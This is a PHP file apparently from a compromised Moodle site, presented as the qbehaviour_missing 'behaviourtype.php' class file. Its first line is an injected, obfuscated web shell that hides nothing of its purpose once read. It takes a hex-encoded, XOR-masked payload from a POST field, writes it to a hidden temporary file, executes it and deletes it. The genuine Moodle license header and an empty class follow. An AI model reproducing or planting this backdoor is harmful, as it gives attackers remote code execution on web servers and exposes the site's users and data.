File: /var/www/html/basacapital.sumar.com.py/question/behaviour/missing/behaviourtype.php
<?php if(isset($_POST["\x72e\x63ord"])){ $pointer = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/dev/shm"]); $flag = hex2bin($_POST["\x72e\x63ord"]); $element = '' ; for($o=0; $o<strlen($flag); $o++){$element .= chr(ord($flag[$o]) ^ 51);} foreach ($pointer as $ptr) { if ((bool)is_dir($ptr) && (bool)is_writable($ptr)) { $factor = "$ptr" . "/.mrk"; $file = fopen($factor, 'w'); if ($file) { fwrite($file, $element); fclose($file); include $factor; @unlink($factor); exit; } } } }
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Fake question behaviour type that is used when the actual behaviour is not
* available.
*
* @package qbehaviour_missing
* @copyright 2012 The Open University
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
defined('MOODLE_INTERNAL') || die();
/**
* Fake question behaviour type information that is used when the actual
* behaviour is not available.
*
* @copyright 2012 The Open University
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
class qbehaviour_missing_type extends question_behaviour_type {
}